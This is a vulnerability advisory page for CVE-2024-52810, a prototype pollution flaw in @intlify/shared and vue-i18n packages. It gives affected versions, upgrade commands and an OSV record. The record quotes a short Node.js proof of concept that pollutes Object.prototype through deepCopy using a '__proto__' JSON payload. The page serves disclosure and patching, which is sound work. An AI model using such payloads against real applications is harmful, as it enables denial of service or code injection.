Vulnerabilities in pkg:npm/@intlify/shared
PACKAGECVE-2024-52810 is a MODERATE @intlify/shared prototype pollution vulnerability vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting @intlify/shared libraries in the npm ecosystem. The issue involves @intlify/shared prototype pollution vulnerability. Remediation is available by upgrading affected packages to version 9.14.2, 10.0.5.
pkg:npm/@intlify/shared
Vulnerability advisories affecting package pkg:npm/@intlify/shared. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-hjwq-mjwj-4x6c | CVE-2024-52810 | MODERATE | @intlify/shared Prototype Pollution vulnerability |
CVE-2024-52810 at a Glance
How to Fix CVE-2024-52810
To remediate this vulnerability, upgrade all affected @intlify/shared dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @intlify/shared@9.14.2
npm install @intlify/vue-i18n-core@9.14.2
npm install vue-i18n@9.14.2
npm install petite-vue-i18n@10.0.5
npm install @intlify/shared@10.0.5
npm install @intlify/vue-i18n-core@10.0.5
npm install vue-i18n@10.0.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @intlify/shared
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2024-52810, inspect your project dependencies using npm:
npm ls @intlify/shared
Analyze the terminal output to locate any version of @intlify/shared in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.14.2), your application is affected.
Note: The npm ls @intlify/shared command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In @intlify/shared, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-52810 Affected @intlify/shared Versions
7 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@intlify/shared
|
npm |
≥ 9.7.0
< 9.14.2
|
9.14.2
|
|
@intlify/vue-i18n-core
|
npm |
≥ 9.7.0
< 9.14.2
|
9.14.2
|
|
vue-i18n
|
npm |
≥ 9.7.0
< 9.14.2
|
9.14.2
|
|
petite-vue-i18n
|
npm |
≥ 10.0.0
< 10.0.5
|
10.0.5
|
|
@intlify/shared
|
npm |
≥ 10.0.0
< 10.0.5
|
10.0.5
|
|
@intlify/vue-i18n-core
|
npm |
≥ 10.0.0
< 10.0.5
|
10.0.5
|
|
vue-i18n
|
npm |
≥ 10.0.0
< 10.0.5
|
10.0.5
|
References
Frequently Asked Questions
What is CVE-2024-52810?
Which @intlify/shared versions are affected?
What version fixes CVE-2024-52810?
Is @intlify/shared affected?
Is @intlify/vue-i18n-core affected?
What CWE is associated with CVE-2024-52810?
How can I check npm dependencies for CVE-2024-52810?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hjwq-mjwj-4x6c",
"modified" : "2024-12-02T17:26:47Z",
"published" : "2024-12-02T17:26:47Z",
"aliases" : [ "CVE-2024-52810" ],
"summary" : "@intlify/shared Prototype Pollution vulnerability",
"details" : "**Vulnerability type: Prototype Pollution**\n\n**Affected Package:**\n\nProduct: @intlify/shared\nVersion: 10.0.4\n\n\n**Vulnerability Location(s):**\n\n`node_modules/@intlify/shared/dist/shared.cjs:232:26`\n\n\n**Description:**\n\nThe latest version of `@intlify/shared (10.0.4)` is vulnerable to Prototype Pollution through the entry function(s) `lib.deepCopy`. An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install @intlify/shared@10.0.4\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack: {}\nAfter Attack: {\"pollutedKey\":123}\n```\n\n\n```js\n(async () => {\nconst lib = await import('@intlify/shared');\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.deepCopy (JSON.parse('{\"__proto__\":{\"pollutedKey\":123}}'), someObj)\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```\n\n**References**\n\n[Prototype Pollution Leading to Remote Code Execution](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - An example of how prototype pollution can lead to command code injection.\n\n[OWASP Prototype Pollution Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html) - Best practices for preventing prototype pollution.\n\n[PortSwigger Guide on Preventing Prototype Pollution](https://portswigger.net/web-security/prototype-pollution/preventing) - A detailed guide to securing your applications against prototype pollution.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@intlify/shared"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.7.0"
}, {
"fixed" : "9.14.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@intlify/vue-i18n-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.7.0"
}, {
"fixed" : "9.14.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "vue-i18n"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.7.0"
}, {
"fixed" : "9.14.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "petite-vue-i18n"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "10.0.0"
}, {
"fixed" : "10.0.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@intlify/shared"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "10.0.0"
}, {
"fixed" : "10.0.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@intlify/vue-i18n-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "10.0.0"
}, {
"fixed" : "10.0.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "vue-i18n"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "10.0.0"
}, {
"fixed" : "10.0.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/intlify/vue-i18n/security/advisories/GHSA-hjwq-mjwj-4x6c"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-52810"
}, {
"type" : "WEB",
"url" : "https://github.com/intlify/vue-i18n/commit/9f20909ef8c9232a1072d7818e12ed6d6451024d"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/intlify/vue-i18n"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-12-02T17:26:47Z",
"nvd_published_at" : "2024-11-29T19:15:09Z"
}
}